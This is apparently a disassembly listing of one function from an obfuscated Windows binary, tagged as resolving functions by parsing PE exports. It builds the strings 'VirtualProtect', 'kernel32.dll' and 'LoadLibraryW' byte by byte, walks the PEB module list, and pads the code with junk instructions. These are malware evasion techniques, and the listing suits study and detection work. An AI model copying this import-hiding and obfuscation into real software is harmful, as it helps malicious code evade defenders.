Function at 0x723596
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push esi
and esi, 0x261a
jmp 0x722c71
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push ecx
add esp, 4
call 0x722cb2
add byte [eax + 0x47], al
aas
inc edx
inc edx
inc esi
cmp al, 0x45
dec ebx
add esp, 4
jmp 0x722cba
sub eax, 0x2020
or eax, 0x161d2
pop eax
push edx
sub edx, 0x1321e
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
jmp 0x722d42
add esi, 0xd7dd
call 0x722d58
add byte [eax + 0x4f], al
inc esi
inc edx
dec edi
aaa
inc esp
xor bh, byte [esi]
xor eax, dword [ebx - 0x317efb3c]
das
pop esp
add byte [eax], al
pop esi
push ecx
add ecx, 0x69a4
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push ecx
add esp, 4
or edi, 0x6f9e
add edi, 0xb7d0
add edi, 0x1285e
pop edi
push ecx
push edx
add esp, 4
jmp 0x722db6
add ecx, 0x965a
add ecx, 0xc167
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x722ddb
mov dword [ebp - 0x2a8], 0
jmp 0x723082
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
call 0x722dfb
add byte [ecx + edi], bh
inc ebp
cmp al, 0x39
xor eax, 0x4c48332
add edx, 0x13530
pop edx
push edx
or edx, 0x3eee
xor edx, 0x100b
or edx, 0xea8b
and edx, 0xa1cf
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x722e37
mov dword [ebp - 0x2a8], 0
jmp 0x723082
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push esi
add esp, 4
sub ecx, 0xa7bc
add ecx, 0x1ecf
xor ecx, 0xb862
pop ecx
push eax
add eax, 0x8cf9
add eax, 0x81a
sub eax, 0xc797
or eax, 0x105b3
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
call 0x722eaf
add byte [esi], dh
dec ebx
cmp bh, byte [edi]
aaa
cmp byte [edx], dh
inc edx
inc ecx
add esp, 4
sub eax, 0xa193
pop eax
push edi
call 0x722ec7
add byte [edx], dh
dec ebx
dec edx
cmp dword [esi + 0x4e], eax
cmp al, 0x83
les eax, [ecx + eax*4]
invalid
push edx
call 0x723093
add byte [eax + 0x43], al
aas
inc esp
inc ecx
aaa
inc ebp
aaa
dec esi
dec edi
add esp, 4
add edx, 0xcae3
jmp 0x7230a3
call 0x7230b0
add byte [esi + 0x34], al
dec ecx
cmp eax, dword [ecx + 0x32]
inc ebx
add esp, 4
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x7239b9
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
push edx
add esp, 4
or eax, 0x5b30
pop eax
push edx
push ebx
add esp, 4
add edx, 0x5a9e
pop edx
push ecx
add ecx, 0xe537
pop ecx
push ecx
push edx
add esp, 4
xor ecx, 0x163c3
xor ecx, 0x40ed
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
xor ecx, 0x1506a
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x13c39
jmp 0x723229
pop ebx
push eax
push edi
add esp, 4
add eax, 0x17c7f
jmp 0x72323a
xor eax, 0x1834e
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x723259
mov dword [ebp - 0x710], 0
jmp 0x723500
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
push esi
add esp, 4
or esi, 0x11349
or esi, 0x507e
pop esi
push edi
push ebx
add esp, 4
or edi, 0xe1ee
add edi, 0x4bed
pop edi
push edi
and edi, 0xb0e9
sub edi, 0x4792
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x7232b5
mov dword [ebp - 0x710], 0
jmp 0x723500
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ecx
add esp, 4
xor esi, 0x14585
pop esi
push edx
push ebx
add esp, 4
and edx, 0x17dc9
or edx, 0x194e
or edx, 0xadf5
and edx, 0xd4cc
pop edx
push edx
add edx, 0x71e6
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
call 0x72332d
add byte [esi], dh
cmp al, 0x3e
dec ebx
xor edi, dword [esi]
dec ecx
dec eax
add esp, 4
pop edx
push edx
jmp 0x72333a
jmp 0x723342
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x17c7e
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
push ebx
add esp, 4
and ebx, 0x8ad5
pop ebx
push esi
push esi
add esp, 4
sub esi, 0x17164
pop esi
push edi
push edi
add esp, 4
sub edi, 0x42d0
jmp 0x7233d1
and edi, 0x503
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x7233f5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x72344f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x72331d
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x72331d
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x723439
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x723443
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x723498
push esi
push ebx
add esp, 4
add esi, 0xacdf
xor esi, 0x1729f
xor esi, 0xf405
pop esi
push eax
xor eax, 0x12e4a
and eax, 0x12da4
xor eax, 0x9c20
xor eax, 0x70b6
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x723500
push eax
and eax, 0x6921
jmp 0x7234a5
jmp 0x7234ae
jmp 0x7234b7
pop eax
push esi
push esi
add esp, 4
or esi, 0x13e82
add esi, 0x773e
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x7234f6
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x7232c1
mov dword [ebp - 0x710], 0
push ecx
or ecx, 0x33d3
or ecx, 0x462c
jmp 0x723513
pop ecx
push edx
jmp 0x72351e
sub edx, 0x6ad3
jmp 0x72352b
or edx, 0x17b20
pop edx
cmp dword [ebp - 0x710], 0
jne 0x72357c
push esi
push eax
add esp, 4
call 0x72354f
add byte [esi + 0x42], al
dec eax
dec ebp
xor al, 0x43
dec eax
xor bh, byte [ecx]
add esp, 4
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0x140d9
pop ecx
push edx
sub edx, 0xa694
and edx, 0x635b
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x7240a4
push edi
push ecx
add esp, 4
or edi, 0x77e1
pop edi
push eax
call 0x723596
add byte [eax + 0x33], dl
push eax
dec esp
cmp eax, 0xc4833c36
add al, 0x81
invalid